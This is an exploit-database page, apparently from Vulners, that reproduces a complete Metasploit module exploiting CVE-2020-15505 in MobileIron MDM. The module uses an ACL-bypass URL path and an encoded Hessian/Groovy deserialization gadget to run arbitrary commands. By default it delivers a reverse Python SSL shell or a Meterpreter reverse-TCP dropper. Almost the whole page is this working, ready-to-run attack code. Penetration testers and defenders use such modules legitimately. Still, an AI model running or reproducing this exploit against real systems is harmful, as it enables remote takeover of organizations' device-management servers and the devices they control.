Lucene search
K

MobileIron MDM Hessian-Based Java Deserialization Remote Code Execution Exploit

🗓️ 27 Jan 2021 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 110 Views

MobileIron MDM Hessian-Based Java Deserialization RCE exploit, ACL bypass, Groovy gadget executio

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MobileIron MDM Hessian-Based Java Deserialization RCE',
        'Description' => %q{
          This module exploits an ACL bypass in MobileIron MDM products to
          execute a Groovy gadget against a Hessian-based Java deserialization
          endpoint.
        },
        'Author' => [
          'Orange Tsai', # Discovery
          'rootxharsh', # Exploit
          'iamnoooob', # Exploit
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-15505'],
          ['URL', 'https://www.mobileiron.com/en/blog/mobileiron-security-updates-available'],
          ['URL', 'https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html'],
          ['URL', 'https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505']
        ],
        'DisclosureDate' => '2020-09-12', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :bourne,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    # http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Call
    res = send_request_hessian('c')

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.code == 200 && res.headers['Content-Type'] == 'application/x-hessian'
      return CheckCode::Safe('ACL bypass failed.')
    end

    CheckCode::Vulnerable('ACL bypass successful.')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    send_request_hessian(groovy_gadget(cmd))
  end

  def send_request_hessian(data)
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/mifs/.;/services/LogService'),
      'ctype' => 'x-application/hessian',
      'headers' => {
        'Referer' => rand_text_english(8..42)
      },
      'data' => data
    )
  end

  def groovy_gadget(cmd)
    # http://hessian.caucho.com/doc/hessian-1.0-spec.xtp#Headers
    hessian = "c\x01\x00H\x00\x08#{rand_text_english(8)}"

    # Cale hates me for this
    hessian << Rex::Text.zlib_inflate(Rex::Text.decode_base64(
      <<~HESSIAN
        eNpFj01PwkAQhkcRBUz8CBe9cfVg+Q3YYDBKIS7h4mnbju2S3W4zuy20v95BQS6bfXffPPPM
        3APMPQwzsrZugsorHUx3pSxSK+Ae/25LsiWSV+i4CgJ6uXR5aFPk+GQpCxK+57JywQFDVeGV
        wWCOPrdpqK2rCAVcmt8soOu8JC/gltBZXaPwJD1mzRvAnt9PFWHiVY2Hh0cjd8pUJqpMjLT4
        XkqSzEJyh0IvRY0ZM9joYSNrGWhZZAGLJ+jcS6V0iiRgSPiHnhJZ4qkozauAq8Qaw4uuNcM6
        nMexKsYuF3D+nLDlbBK+j1az6Wj5MYmmq/bf0FITCbjGolZkC4OF59g/DnERN7t2WyB9MvhC
        wMDnyi3iDX9y8aY8rrFqSnRrD3dfJ/dQS+f2QsCUTpxso7Zt95yz09EOfgCmKo1k
      HESSIAN
    ))

    hessian.sub("\x00\x0fHACK THE PLANET", "#{[cmd.length].pack('n')}#{cmd}")
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation